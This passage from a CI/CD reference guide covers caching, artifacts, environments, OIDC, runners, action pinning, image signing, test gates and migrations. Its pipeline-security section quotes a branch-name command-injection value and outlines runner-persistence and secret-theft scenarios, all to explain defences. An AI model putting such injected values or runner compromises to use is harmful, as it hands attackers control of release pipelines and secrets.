  • What to cache: Go: GOMODCACHE (module downloads, default $GOPATH/pkg/mod) and GOCACHE (the Go build cache, compiled packages and cached test results). Composer: the cache directory from composer config cache-files-dir, not vendor/. Docker: BuildKit layers through cache-to/cache-from (see Building images).
  • GitLab: cache: per job with key:files ("Generate keys linked to the content of specific files"), prefix, up to five fallback_keys, policy: pull | push | pull-push; paths must be inside the project directory ("can't link to files outside it"), which is why the Go pipeline sets GOMODCACHE: $CI_PROJECT_DIR/.go/pkg/mod; "By default, protected and non-protected branches do not share the cache."
Three stores, three jobs: cache, artifacts, image layer cacherun N (main)job testrestore: missgo mod downloadsave on successdependency cache (optional speed-up)key: gomod-Linux-hash(go.sum)restore-keys: gomod-Linux- (prefix)immutable per key; branch-scopedGitHub: evicted after 7 days unused,10 GB per repository by defaultGitLab: on the runner or S3run N+1 (any PR)job testrestore: hitnothing to downloada miss only costs timejob test (run N)writes cover.out,junit.xml, a binaryartifacts (required outputs)upload once; immutable since v4GitHub: 90 days default; GitLab: 30 daysdownloadable from the run pagejob report (run N)needs: testdownload-artifactBuildKit layer cache (image builds)--cache-to type=gha,mode=max (GitHub cache service) or type=registry,ref=IMAGE:buildcache,mode=max (any CI)--cache-from reads it back, so a fresh runner reuses every unchanged Dockerfile step
text
key  = gomod-Linux-<sha256 of go.sum>          restore-keys = gomod-Linux-
run on main, go.sum unchanged  -> exact hit, restore, no save
PR changes go.sum              -> miss; prefix hit on main's older cache; download the delta; save under new key (PR scope)
next PR from main              -> cannot see the first PR's cache (merge-ref scope); restores main's
nightly schedule on main       -> saves a fresh cache in the default-branch scope that every PR can read

Real scenarios: a Go job spends 90 s in go mod download and 2 minutes compiling; with both caches it starts tests in 15 s. A cache keyed on github.sha never hits. A Laravel job caches vendor/ and later fails with autoloader errors after a PHP upgrade (cache the download cache instead). A PR from a fork writes a poisoned cache that a release job restores, which is exactly what the default read-only rule for low-trust triggers prevents.

EcosystemCache pathKeyTool support
Go modulesGOMODCACHE (~/go/pkg/mod)hashFiles('**/go.sum')setup-go built-in (set cache-dependency-path); GitLab cache:key:files: [go.sum]
Go build cacheGOCACHE (~/.cache/go-build on Linux)OS + Go version + go.sumsetup-go built-in; separate GitLab cache per job
Composercomposer config cache-files-dircomposer.lock hash (+ PHP version)actions/cache in the setup-laravel composite action
PHPStan resulttmpDir from phpstan.neonUnique per run + prefix restoreactions/cache/restore + actions/cache/save
golangci-lintIts own cacheManaged by the actiongolangci-lint-action ("smart caching")
Docker layersBuildKit cacheScope (gha) or ref (registry)cache-from/cache-to

Fix: key on the lock file, restore by prefix, write caches only from trusted push runs on the default branch, never cache secrets ("Anyone who can open a pull request against your repository can read the contents of caches in the base branch"), and measure the hit rate in the job log before adding more caches.

Artifacts: upload-artifact v4 and later, retention, GitLab artifacts and dotenv reports Must-know ​

In plain words: An artifact is a file a job produces that someone needs afterwards: a later job in the same run, a reviewer, an auditor. Unlike a cache it is required, it belongs to one run, and it is kept for a fixed time.

Common misunderstanding: "Two matrix jobs can append to one artifact." Since upload-artifact v4, "uploading to the same artifact via multiple jobs is not supported" and "Artifacts created by upload-artifact@v4 are immutable." Each matrix cell uploads its own name (coverage-shop-1, -2, -3) and a fan-in job downloads them with pattern: and merge-multiple: true.

Definition: GitHub: actions/upload-artifact (major v7 on 2026-11-29; v4 introduced the current backend and immutability; "Starting January 30th, 2025 ... no longer be able to use v3") with name, path, retention-days (1-90; "Artifacts are retained for 90 days by default"), overwrite, and a limit of 500 artifacts per job; actions/download-artifact (v8) with name, pattern, merge-multiple. Billing counts artifact storage. For small values use job outputs. GitLab: artifacts: paths, expire_in ("Artifacts expire after 30 days by default"), when: always to keep them on failure, artifacts:reports (junit, coverage_report with coverage_format: cobertura, codequality, dotenv); later jobs receive artifacts from earlier stages or from their needs. A dotenv report "collects environment variables from a file and makes them available as CI/CD variables to later jobs", which is how IMAGE_DIGEST reaches the deploy jobs in the GitLab pipelines here. Jenkins: archiveArtifacts (kept with the build) and stash/unstash (within one run).

text
GitLab: image job writes build.env "IMAGE_DIGEST=sha256:9f..."  (artifacts:reports:dotenv)
1  deploy-staging needs [image] -> receives build.env -> $IMAGE_DIGEST is set
2  helm upgrade --set image.digest="$IMAGE_DIGEST"
GitHub: the same value travels as a job output: needs.image.outputs.digest

Real scenarios: coverage files from three shards merged for one report; a signed binary attached to a release; JUnit XML so the merge request shows failing tests; a 2 GB artifact per run that silently becomes the biggest line on the bill.

QuestionCacheArtifact
Is it required for correctness?No (miss = slower)Yes
LifetimeUntil evicted (GitHub: 7 days unused, 10 GB)Retention (GitHub 90 days default, GitLab 30 days)
Shared across runs?Yes, by key and scopeNo, belongs to one run
Mutable?Write-once per keyv4+: immutable (overwrite gives a new ID)
Typical contentDownloaded dependencies, build cachesTest reports, coverage, binaries, SBOMs

Fix: pass digests and versions as outputs or dotenv, files as artifacts with short retention-days; never use a cache to hand a build result to a deploy.

Environments, protection rules, required reviewers, approvals and staging promotion Must-know ​

In plain words: An environment is a named deploy target (staging, production) with rules: who may approve, which branches or tags may deploy, how long to wait, and which secrets only that target can see.

Common misunderstanding: "An approval on production is enough." If production builds its own image, the approval approves untested bytes. Promotion means the job deploys the same digest that staging received; the environment only gates when.

Definition: GitHub: jobs.<job_id>.environment (name, url). Protection rules: required reviewers ("You can list up to six users or teams as reviewers ... Only one of the required reviewers needs to approve"), optional prevention of self-review, wait timer ("an integer between 1 and 43,200 (30 days). Wait time will not count towards your billable time"), deployment branches and tags, and custom deployment protection rules (GitHub Apps, public preview). Environment secrets: "A workflow job cannot access environment secrets until approval is granted by required approvers." Plan caveat: on Free, Pro and Team, required reviewers and wait timers "are only available for public repositories". The OIDC sub claim of a job with an environment becomes repo:ORG/REPO:environment:NAME. GitLab: environment: name, url, deployment_tier, on_stop, action: stop, auto_stop_in, protected environments (only allowed users or groups can deploy, with optional approval rules), when: manual, resource_group. Jenkins: input { message, submitter } in a stage.

text
tag orders-api/v1.4.2 pushed
1  image: digest D, signed and attested
2  deploy-staging (environment staging): verify D, helm upgrade --atomic, smoke checks
3  deploy-production (environment production): status "Waiting"; reviewers notified
4  reviewer approves (not the person who pushed the tag, self-review blocked)
5  production secrets and the OIDC token with sub ...:environment:production become available
6  helm upgrade with the same D

Real scenarios: a release manager approves production twice a week (continuous delivery); a 15-minute wait timer between staging and production lets synthetic checks fail first; a production database password exists only as an environment secret, so a feature-branch workflow cannot read it; GitLab review environments per merge request stop after three days.

CapabilityGitHub ActionsGitLab CIJenkins
Named target with historyenvironment:environment: (Operate > Environments)Build history only
Human approvalRequired reviewers (up to 6)Protected environment approvals, when: manualinput step
Branch/tag restrictionDeployment branches and tagsProtected environments + ruleswhen { branch / buildingTag() }
DelayWait timer (1-43,200 min)when: delayed + start_insleep / input
Scoped secretsEnvironment secretsVariables scoped to environmentCredentials per folder
Ephemeral per-PR envManual (workflow + cleanup job)Review apps: review/$CI_COMMIT_REF_SLUG, on_stop, auto_stop_inManual

Fix: one build, one digest, promoted through environments; put the production approval on the environment (not in YAML that a PR can edit); scope production secrets and the cloud role's trust policy to environment:production.

Secrets, environment secrets, OIDC, id-token and cloud federation Must-know ​

In plain words: Instead of storing a cloud key in CI, the job asks the CI provider for a signed identity card ("I am the deploy-production job of acme/commerce on tag v1.4.2"), shows it to the cloud, and receives credentials that expire on their own (with aws-actions/configure-aws-credentials, after role-duration-seconds, default 3600).

Common misunderstanding: "OIDC is safe by default." The cloud trusts whatever its trust policy matches. A policy that checks only the audience, or sub: repo:acme/*, lets any branch, any pull request run of any repository in the organisation assume the production role. AWS's note in the GitHub docs: IAM "recommends that users evaluate the IAM condition key, token.actions.githubusercontent.com:sub".

Definition: GitHub's OIDC provider (iss: https://token.actions.githubusercontent.com) issues a JWT to jobs that have permissions: id-token: write. Claims include sub, aud, ref, sha, repository, repository_owner, environment, event_name, runner_environment, workflow, job_workflow_ref and the immutable numeric repository_id/repository_owner_id. Example subjects: repo:octo-org/octo-repo:environment:Production, repo:octo-org/octo-repo:pull_request, repo:octo-org/octo-repo:ref:refs/heads/demo-branch. "For repositories created after July 15, 2026, or that have opted in to immutable subject claims, the sub claim includes immutable owner and repository IDs" (repo:octo-org@123456/octo-repo@456789:...). The cloud exchanges it: AWS sts:AssumeRoleWithWebIdentity (audience sts.amazonaws.com with aws-actions/configure-aws-credentials), GCP Workload Identity Federation, Azure federated credentials, HashiCorp Vault JWT auth. With OIDC, "your cloud provider issues a short-lived access token that is only valid for a single job, and then automatically expires." GitLab: id_tokens: NAME: aud: ... creates a JWT in the variable NAME (the pipelines use SIGSTORE_ID_TOKEN with aud: sigstore). Classic secrets remain for what has no federation (an SMTP password, a third-party API key): repository, organisation and environment secrets on GitHub; masked and protected variables on GitLab; Jenkins credentials with withCredentials.

text
deploy-production job, environment production
1  runner -> GitHub OIDC: request token, audience sts.amazonaws.com
2  JWT: iss=token.actions.githubusercontent.com, sub=repo:acme/commerce:environment:production, aud=sts.amazonaws.com
3  configure-aws-credentials -> STS AssumeRoleWithWebIdentity(role-to-assume, JWT)
4  STS checks the role trust policy: provider, aud == sts.amazonaws.com, sub == ...:environment:production
5  STS returns temporary credentials -> AWS_ACCESS_KEY_ID/SECRET/SESSION_TOKEN, valid for role-duration-seconds
   (default 3600, range 900-43200) even after the job ends: set 900 on deploy jobs
6  a PR run requesting the same role has sub=repo:acme/commerce:pull_request -> denied
OIDC to cloud, Sigstore keyless signing, attestations: identity instead of secretsCI jobid-token: writeGitLab: id_tokens with audbuilt image digest Dno stored cloud keysOIDC issuer (JWT)token.actions.githubusercontent.comsub: repo:acme/commerce:ref:...aud, ref, sha, job_workflow_refsigned, minutes-long lifetimecloud STSAWS AssumeRoleWith-WebIdentity; GCP; Azuretrust policy: sub, audshort-lived credentialsFulcio (Sigstore CA)verifies the OIDC tokenshort-lived certificate, SAN =github.com/(job_workflow_ref)ephemeral key, discardedcosign sign Dsignature + cert storednext to D in the registryRekor: append-onlytransparency log entryactions/attestSLSA build provenance(in-toto) for subject Dattestations API + registrySBOM: SPDX or CycloneDXverify before trust (deploy job or admission controller)cosign verify D --certificate-oidc-issuer ... --certificate-identity-regexp '^https://github.com/acme/...'gh attestation verify oci://D -R acme/commerce --signer-workflow ...in the cluster: Kyverno or the Sigstore policy-controller admits only verified digests

Real scenarios: removing an AWS access key that had been in GitHub secrets for four years; a Terraform plan job assuming a read-only role on pull requests and an apply role only on main (see Infrastructure as Code); GitLab signing images keyless through id_tokens; a leaked secret printed by set -x that masking missed because it was Base64-encoded (GitHub: "be sure to register the new value as a secret too").

ProviderCI sideCloud sideSubject to restrict on
AWSid-token: write, aws-actions/configure-aws-credentials with role-to-assumeIAM OIDC provider + role trust policy (StringEquals on aud and sub)repo:ORG/REPO:environment:production
Google Cloudid-token: write, google-github-actions/authWorkload Identity Pool + provider attribute conditionsassertion.repository, assertion.ref, custom job_workflow_ref
Azureid-token: write, azure/loginFederated identity credential on an app or managed identityExact sub
GitLab to any cloudid_tokens: X: aud: ...Same OIDC trust with GitLab's issuerproject_path, ref, ref_protected, environment
Sigstore (signing)id-token: write / id_tokens aud: sigstoreFulcioThe workflow identity (see Supply chain)

Fix: OIDC for every cloud and for signing; trust policies on the exact sub (environment-based for deploy roles); secrets only where no federation exists, as environment secrets behind reviewers; never structured blobs as secrets ("redaction largely relies on finding an exact match"); ::add-mask:: for derived values.

Runners: GitHub-hosted, self-hosted, ephemeral runners, ARC; GitLab runners and executors; Jenkins agents Important ​

In plain words: The runner is the computer that runs a job. Hosted runners are rented, wiped after every job. Self-hosted runners are yours: faster, cheaper at scale, closer to private networks, and dangerous if strangers' code can run on them.

Common misunderstanding: "A self-hosted runner in a private repository is safe." GitHub: self-hosted runners "can be persistently compromised by untrusted code in a workflow" and anyone who can open a pull request in the repository can reach them; "self-hosted runners should almost never be used for public repositories".

Definition: GitHub-hosted runners "execute code within ephemeral and clean isolated virtual machines"; labels such as ubuntu-24.04, ubuntu-24.04-arm, Windows and macOS, plus larger runners. Self-hosted runners are registered at repository, organisation or enterprise level, grouped and targeted by labels; they "Don't need to have a clean instance for every job execution" unless you make them ephemeral: "GitHub recommends implementing autoscaling with ephemeral self-hosted runners", registered with config.sh --ephemeral or as just-in-time runners via the REST API, which "perform at most one job before being automatically removed". Actions Runner Controller (ARC) "is the reference implementation of GitHub's scale set APIs and the recommended Kubernetes-based solution for autoscaling self-hosted runners". GitLab: GitLab Runner registered per instance, group or project, selected by tags:, with executors Kubernetes, Docker, Docker Autoscaler and Instance under active development (the others, such as Shell, SSH, VirtualBox, Parallels and Docker Machine, are "not under active feature development"). Jenkins: a controller plus agents (static nodes, docker agents, Kubernetes plugin pod templates).

text
persistent self-hosted runner, public repo
1  attacker opens PR; workflow on pull_request runs `npm test` from the PR
2  test script installs a cron job / modifies the runner's toolcache
3  next job (a release from main) runs on the same machine -> attacker code runs with release secrets
ephemeral runner (ARC scale set): step 2 dies with the pod; step 3 gets a fresh pod

Real scenarios: ARM64 builds on native arm64 runners instead of QEMU; a runner inside the VPC to run migrations against a private database; a GPU runner for model tests; a cost review that moves 70 % of minutes to an autoscaled ARC pool on spot instances.

OptionIsolationCost modelUse for
GitHub-hosted standardFresh VM per jobPer minute (free in public repos)Default; untrusted code
GitHub larger runnersFresh VM, more cores, static IP optionPer minute, higher rateBig builds, IP allow-lists
Self-hosted persistentNone between jobsYour machinesTrusted private repos only, if at all
Self-hosted ephemeral / ARCOne job per runnerYour clusterPrivate networks, special hardware, scale
GitLab SaaS runnersFresh VM per jobCompute minutesDefault on GitLab.com
GitLab Runner + Kubernetes/Docker Autoscaler executorPod or VM per jobYour infrastructureSelf-managed GitLab, private networks
Jenkins Kubernetes agentsPod per buildYour clusterJenkins estates

Fix: hosted or ephemeral runners for anything a pull request can influence; persistent runners only behind push-only workflows on private repositories; runner groups that restrict which repositories and workflows can target a pool; logs forwarded off ephemeral runners.

Pin actions by SHA, and Dependabot for actions Must-know ​

In plain words: uses: some/action@v3 runs whatever commit the tag v3 points to today; the owner (or an attacker with their credentials) can move it. A full commit SHA cannot be moved. Dependabot keeps the SHAs current so pinning does not mean rotting.

Common misunderstanding: "Pinning first-party actions is unnecessary." Tags of any repository are movable. GitHub's own guidance is to "Pin references to actions to a commit SHA in your workflow files ... they would need to generate a SHA-1 collision for a valid Git object payload", and to "Pin actions to a tag only if you trust the creator".

Definition: Pin as uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 (the SHA the v7 tag pointed at when resolved with the GitHub API on 2026-11-29; resolve your own, and check the SHA belongs to the action's repository "and not a repository fork"). Dependabot package-ecosystem: github-actions with directory: / "will help ensure that references to actions in a repository's workflow.yml file and reusable workflows used inside workflows are kept up to date"; it bumps the SHA and the trailing comment. A default cooldown of 3 days applies to version updates ("A new version is not considered for a version update until 3 days after its release"); cooldown.default-days raises it. GitLab: pin include:project to a ref you control and include:remote with integrity; Jenkins: @Library('name@tag').

text
2026-11-29  workflow pins actions/setup-go@d8cbb804... # v7
1  upstream releases v7.0.1 (tag v7 moves to a new commit)
2  your builds keep running d8cbb804... (nothing changes silently)
3  after the cooldown, Dependabot opens "Bump actions/setup-go from d8cbb80 to <new sha>"; CI runs on that PR
4  you merge after review: an explicit, reviewable, revertible change

Real scenarios: a compromised third-party action that rewrote its version tags to exfiltrate secrets from every workflow using a tag; an internal action repository where only the platform team can push; GitLab templates pinned to v3.2.0 of acme/ci-templates.

ReferenceCan change under youReview on updateRecommended for
@mainEvery commitNeverNothing in production
@v7 (major tag)When the tag movesNeverYour own actions you trust
@v7.0.1If the tag is movedNeverBetter, still mutable
@<40-char SHA> # v7NoDependabot PRThird-party and first-party actions
Docker action @sha256: digestNoDependabot docker ecosystemContainer actions

Fix: every action in the workflows here (GitHub's, Docker's, Sigstore's, AWS's, golangci's, setup-php) is pinned to the commit its tag pointed at on 2026-11-29, resolved with the GitHub API (annotated tags dereferenced to their commit) and saved; only the deliberately insecure pr-checks-before.yml uses tags. The dependabot.yml in Go covers github-actions, gomod, composer and docker.

Building images in CI: buildx multi-arch, image tags from git sha, Docker layer cache (gha cache, registry cache) Must-know ​

In plain words: CI builds the image once per commit, for every CPU architecture you run, tags it with the commit it came from, pushes it, and remembers the digest. A layer cache stored outside the runner makes the next build on a fresh machine almost as fast as on your laptop.

Common misunderstanding: "The latest or branch tag is what we deploy." Tags move; the digest printed by the build step is the only name for the bytes that were tested and signed. Tags are for humans (sha-<commit>, 1.4.2); deploys use image@sha256:....

Definition: docker/setup-buildx-action creates a BuildKit builder; docker/metadata-action computes tags and OCI labels from the event (type=sha gives "Git short commit (or long if specified) as Docker tag like sha-860c190", type=ref,event=branch, type=semver, type=match for prefixed tags such as orders-api/v1.4.2); docker/build-push-action builds with platforms: linux/amd64,linux/arm64, push: true, and outputs digest. BuildKit cache-from cache-to export and import layer cache: type=gha stores it in the GitHub Actions cache service (parameters scope, default buildkit, and mode=max to include intermediate stages; it counts towards the repository's cache quota), type=registry,ref=IMAGE:buildcache,mode=max stores it as an OCI artefact in any registry and works on every CI system. Multi-arch is cheapest when the Dockerfile cross-compiles (Go) and slowest under QEMU emulation; Docker's "Docker GitHub Builder" reusable workflows (docker/github-builder) can instead "run each platform on its own runner, and create the final manifest for you". The Dockerfile side (stages, --platform=$BUILDPLATFORM, cache mounts) is in Images & Dockerfiles.

text
reusable-image.yml for orders-api at commit 9a1b2c3 on tag orders-api/v1.4.2
1  metadata: tags = sha-9a1b2c3d..., 1.4.2 ; labels = org.opencontainers.image.source/revision/created
2  build-push: cache-from type=gha,scope=orders-api- -> unchanged stages are CACHED
3  two platforms built (Go cross-compiles from the amd64 runner), index pushed -> digest D
4  cache-to type=gha,mode=max -> next run reuses every stage
5  outputs.digest = D -> cosign sign D, attest D, deploy D

Real scenarios: the first build on a fresh runner takes 6 minutes and the next 50 s with mode=max; two images in one repository evict each other's gha cache until each gets its own scope; a GitLab DinD job with no persistent BuildKit state uses a registry cache; ARM nodes in the cluster crash with exec format error because CI built amd64 only.

Choicegha cacheRegistry cacheInline cacheLocal cache on a persistent runner
Works onGitHub Actions onlyAny CI, any machineAny (embedded in the image)One machine
Stores intermediate stages (mode=max)YesYesNo (min only)Yes
LimitsRepository cache quota (10 GB default), evictionRegistry storageImage sizeDisk
SecurityScoped like other cachesRegistry permissionsPublic if the image isRunner trust

Fix: tag with type=sha,format=long plus semver for releases, deploy by digest, give each image its own cache scope or ref, use mode=max, and cross-compile instead of emulating where the language allows.

Supply chain: provenance, SBOM, cosign keyless, Sigstore, SLSA and artifact attestations Important ​

In plain words: A signature says "this exact digest was produced by this exact workflow". Provenance says how (source commit, builder, inputs). An SBOM lists what is inside. With Sigstore's keyless signing there is no private key to steal: the CI job's OIDC identity is the key's owner for a few minutes.

Common misunderstanding: "A signed image is a safe image." A signature proves origin and integrity, not quality: a workflow that builds a malicious dependency signs it just as happily. Signatures matter only if a verifier checks the identity (which workflow, which ref), not merely that some signature exists.

Definition:

  • Sigstore: "A Sigstore client, such as Cosign, creates a public/private key pair and makes a certificate signing request to our code-signing certificate authority (Fulcio) with the public key. A verifiable OpenID Connect (OIDC) identity token is also provided in the request." The CA "issues a short-lived certificate bound to the provided identity and public key"; "the private key is discarded after a single signing"; the signature is recorded in Rekor, "an immutable, append-only ledger".
  • Identity of a GitHub workflow: Fulcio puts the workflow in the certificate; with reusable workflows "job_workflow_ref is included as a SAN URI: https://github.com/{job_workflow_ref}", so cosign verify must use --certificate-oidc-issuer https://token.actions.githubusercontent.com and an identity matching the reusable workflow path. For GitLab the identity is "GitLab instance URL + project path + // + CI configuration path + @ + ref path" (the double slash is required).
  • cosign keyless in CI: sigstore/cosign-installer, then cosign sign --yes IMAGE@DIGEST with id-token: write (GitLab: SIGSTORE_ID_TOKEN with aud: sigstore, COSIGN_YES: "true"). GitLab's advice: "Build and sign an image/artifact in the same job" and "sign the digest (which is immutable) instead of the tag".
  • Provenance and SBOM from BuildKit: provenance: mode=max, sbom: true on build-push-action attach in-toto attestations to the image index (details in Images & Dockerfiles).
  • GitHub artifact attestations: actions/attest@v4 (attest-build-provenance is now "simply a wrapper on top of" it) creates SLSA build provenance, or an SBOM attestation when sbom-path is given, signed with a short-lived Sigstore certificate (public-good Sigstore for public repositories, "the GitHub private Sigstore instance" for private ones), stored in the attestations API and with push-to-registry: true in the registry; it needs id-token: write and attestations: write. Verify with gh attestation verify oci://IMAGE@DIGEST -R ORG/REPO; "if your attestation was generated via a reusable workflow then that reusable workflow is the signer whose identity needs to be validated", so add --signer-workflow. Availability: public repositories on all current plans; private repositories need GitHub Enterprise Cloud.
  • SLSA v1.0 Build track: L0 none; L1 "Provenance showing how the package was built"; L2 "Signed provenance, generated by a hosted build platform" (defends "Tampering after the build"); L3 "Hardened build platform" ("Tampering during the build"). GitHub: "Artifact attestations by itself provides SLSA v1.0 Build Level 2", and building in a shared reusable workflow can "provide isolation between the build process and the calling workflow, to meet SLSA v1.0 Build Level 3".
text
verify before deploy (verify-image.sh, or an admission controller)
1  cosign verify D --certificate-oidc-issuer https://token.actions.githubusercontent.com
       --certificate-identity-regexp '^https://github.com/acme/commerce/.github/workflows/reusable-image.yml@refs/(heads/main|tags/...)$'
   -> checks signature, certificate chain to Sigstore's root, identity, Rekor inclusion
2  gh attestation verify oci://D -R acme/commerce --signer-workflow acme/commerce/.github/workflows/reusable-image.yml
   -> checks SLSA provenance for D was signed by that workflow
3  both pass -> helm upgrade with D ; either fails -> stop, page the platform team

Real scenarios: a cluster admission policy (Kyverno, Sigstore policy-controller) that only admits ghcr.io/acme/* digests signed by reusable-image.yml on main or a release tag; an auditor asking which commit produced the image running in production; a security team answering "which images contain this library" from SBOM attestations; a Jenkins estate with no OIDC identity trusted by public Fulcio signing with a KMS key (cosign sign --key awskms://...).

ArtefactProduced byProvesVerified with
Cosign signature (keyless)cosign sign + OIDCOrigin identity + integrity of a digestcosign verify with issuer + identity
BuildKit provenance (mode=max)build-push-action, buildx --provenanceBuild inputs, steps, build args (max)buildx imagetools inspect, policy engines
BuildKit SBOM--sbom=truePackage inventory (SPDX)Scanners, imagetools inspect
GitHub artifact attestationactions/attestSLSA provenance signed via Sigstore (L2, L3 with reusable workflows)gh attestation verify
GitLabcosign with id_tokens, Cosign.gitlab-ci.yml templateSame as cosigncosign verify with the // identity

Fix: sign and attest in the reusable workflow, verify in every deploy job before it touches the cluster (the verify-image composite action in every GitHub deploy job, a verify-image job that every GitLab deploy and review job needs, a Verify stage in Jenkins) and again at admission; scanning and SCA policy (which CVEs block a release) is Secure SDLC and Container Security.

Quality gates: golangci-lint, go test -race, PHPUnit, Pest, Pint, PHPStan, coverage, service containers Must-know ​

In plain words: The pipeline blocks a change unless it is formatted, passes static analysis and passes its tests against a real database. Each gate is a job that exits non-zero on failure.

Common misunderstanding: "Tests pass on SQLite in CI, so production is fine." The shop's production image ships pdo_pgsql (Images & Dockerfiles), and PostgreSQL behaviour (types, transactional DDL, JSON operators, case-sensitive LIKE, sequences) is not SQLite's. A PostgreSQL service container in the job costs seconds and removes the gap; if production ran MySQL, a MySQL service container (mysql:8.4) would be the equivalent. The rule is "the engine production runs", not a particular engine.

Definition:

  • Go: golangci-lint through golangci/golangci-lint-action with a pinned version (the project warns that with linters.default: all or an upgraded linter, builds can "start to fail all builds at the same time"); go vet ./...; go test -race -count=1 ./... (-race instruments memory access, -count=1 bypasses the test cache); -coverprofile + go tool cover -func for coverage.
  • Laravel: vendor/bin/pint --test ("Pint will return a non-zero exit code if any code style errors are found"); PHPStan analyse with --error-format=github ("Creates GitHub Actions compatible output") or gitlab ("Creates format for use Code Quality widget on GitLab Merge Request"); tests with Pest (--ci, --parallel, --shard=K/N, --coverage --min=90, --coverage-clover, --coverage-cobertura) or PHPUnit directly (php artisan test --parallel); coverage needs "XDebug 3.0+ or PCOV".
  • Service containers: GitHub jobs.<id>.services starts Docker containers next to the job (ports mapped to 127.0.0.1 when the job runs on the VM; health checks through options:); GitLab services: with a hostname equal to the image name or alias (GitLab's PostgreSQL example: "Host: postgres"; its MySQL page: "The service container for MySQL is accessible under the hostname mysql"); Jenkins: a sidecar container in the pod template.
  • Coverage upload: GitHub job summary or an artifact; GitLab coverage: regex for the percentage plus artifacts:reports:coverage_report for MR diff annotations ("This keyword produces diff annotations only").
text
pest job, shard 2 of 3 (GitHub)
1  services.postgres: postgres:18 starts, health-cmd pg_isready retried until healthy
2  setup-laravel: PHP 8.4 + pdo_pgsql + pcov, Composer cache restored, composer install
3  php artisan migrate --force -> every migration applies to an empty PostgreSQL 18
3b pest --ci tests/Pipeline -> smoke tests (driver pgsql, /up, nothing pending) on every shard
4  pest --ci --shard=2/3 --coverage-clover coverage-2.xml -> exit 0
5  upload-artifact coverage-shop-2 -> fan-in job collects coverage-shop-*

Real scenarios: a race in a Go cache found only by -race on CI's many-core runner; Pint failing a PR that a developer's editor had reformatted differently; PHPStan level raised from 5 to 6 with a baseline; a coverage minimum that blocks merging dead tests.

GateGo serviceLaravel appOutput for reviewers
Formatgofmt/goimports via golangci-lint formatterspint --testAnnotations
Static analysisgolangci-lint (standard + selected linters)PHPStan level 6 (Larastan for Laravel-aware rules)--error-format=github/gitlab
Unit and integration testsgo test -racePest (or PHPUnit) on PostgreSQLJUnit / summary
Coverage-coverprofile, go tool cover--coverage-clover/--coverage-cobertura, --minJob summary, GitLab coverage
DatabaseTestcontainers or a service containerPostgreSQL service container (MySQL service if production is MySQL)n/a

Fix: the Go and Laravel workflows below implement exactly this table; what to test and how to keep tests deterministic is Testing Strategy & TDD and Testing & Benchmarking.

Migrations in CI and in the deploy Important ​

In plain words: CI proves that migrations apply to an empty database; the deploy applies them to the real one, once, before (or while) the new code rolls out, in a form that the old code still tolerates.

Common misunderstanding: "Run php artisan migrate in the container entrypoint." Then every replica races to migrate on start, a crash-looping pod retries a half-applied migration, and a rollback of the code does not roll back the schema. Run it once, as a dedicated job, serialised per environment.

Definition: Two separate checks: (1) migrations in CI: php artisan migrate --force against the service container in every test job (Laravel prompts "for confirmation before the commands are executed" against the production database, and --force skips the prompt; CI sets it so a production-like APP_ENV never hangs), plus the Pest smoke test that migrate:status shows nothing pending; (2) migration as a deploy step: a Kubernetes Job applied from a small manifest (image = the new digest, php artisan migrate --force --isolated, the same envFrom ConfigMap and Secret as the Deployment, backoffLimit: 0, activeDeadlineSeconds shorter than the kubectl wait timeout), followed by the rollout in the same job, under one concurrency group (deploy-shop-staging) or resource_group per environment, so a migration of one release never overlaps another release's rollout and is never cancelled midway. If the wait fails, the script prints the logs, deletes the Job with foreground cascade and exits non-zero before the lock is released. --isolated is the second line of defence: Laravel "will acquire an atomic lock using your application's cache driver" (it needs a shared cache store such as Redis or the database). A Helm pre-upgrade hook is the alternative (Packaging for Kubernetes). Migrations must be expand-then-contract (additive first, destructive only after no running version needs the old shape): the rules and tooling are Zero-Downtime Schema Migrations.

text
deploy-production for shop v2.8.0 (adds column orders.channel, nullable)
1  resource_group / concurrency group shop-production acquired
2  Job migrate-<run>: php artisan migrate --force -> ALTER TABLE orders ADD channel ... (expand)
3  pods of v2.7.x keep serving (they ignore the new column)
4  helm upgrade --atomic: v2.8.0 pods roll out; on failure helm rolls back the code, schema stays (still compatible)
5  a later release drops the old column (contract) once no version reads it

Real scenarios: a migration that passed on SQLite fails on PostgreSQL because a column change needs an explicit USING cast; two merges 30 s apart both run ALTER TABLE on a large table; a cancelled pipeline leaves a migration lock; a Go service running golang-migrate as an init container across 20 replicas.

WhereToolSerialised byFails safe when
CI test jobphp artisan migrate --force on the service DBn/a (throwaway DB)Migration syntax or engine incompatibility
GitHub deployKubernetes Job from the new digest, then helm, one jobOne job-level concurrency group per environment, cancel-in-progress: false; --isolatedJob fails or hits activeDeadlineSeconds; script deletes it and stops
GitLab deploySame script in the .k8s templateresource_group: shop-production; --isolatedSame
Helmpre-upgrade hook JobHelm release lockHook fails, release not upgraded
Go serviceA migration tool (for example golang-migrate) in a JobThe CI lock per environment (tool locks vary; check yours)Job fails or deadline

Fix: migrate in a separate, serialised step from the same digest; expand/contract only; see migrate-and-rollout.sh and the deploy-staging/deploy-production jobs in Laravel.

Pipeline security: script injection, expression injection, pull_request_target, fork pull requests, secrets exposure Must-know ​

In plain words: A pipeline runs code and text from people you do not fully trust: pull request titles, branch names, the code in a fork. If that text is pasted into a shell script, or that code runs while secrets are present, the stranger controls your release machinery.

Common misunderstanding: "Quoting the expression protects it." Writing title="<expression>" (the shape of the vulnerable example in pr-checks-before.yml below) is still injectable: the runner pastes the value into the script before the shell parses it, so a title containing " closes the quote. GitHub explains that the run command "executes within a temporary shell script on the runner" and that, before it runs, the expressions are "evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection". (On this page the expression syntax itself appears only inside code blocks, because this site's renderer treats double braces in prose as template code.)

Definition:

  • Expression (script) injection: untrusted context values "typically end with body, default_branch, email, head_ref, label, message, name, page_name,ref, and title"; even a branch name like zzz";echo${IFS}"hello";# is valid. Fix: put the value in env: and use "$VAR" in the script, or pass it as an action input.
  • pull_request_target: runs "in the context of the default branch of the base repository", with "the base repository's GITHUB_TOKEN and access to repository and organization secrets". It is safe until a workflow checks out the PR head and executes it ("pwn request"). actions/checkout v7 now refuses fork PR head refs unless allow-unsafe-pr-checkout: true; GitHub adds a default policy that blocks pull_request_target in public repositories, in evaluate mode until "December 2, 2026".
  • Fork pull requests under pull_request: "With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository", and the token is read-only; first-time contributors may need approval to run workflows.
  • Secrets exposure also comes from: dependency install scripts, set -x, structured secrets that defeat masking, artifacts and caches (readable by anyone who can open a PR), and self-hosted runners.
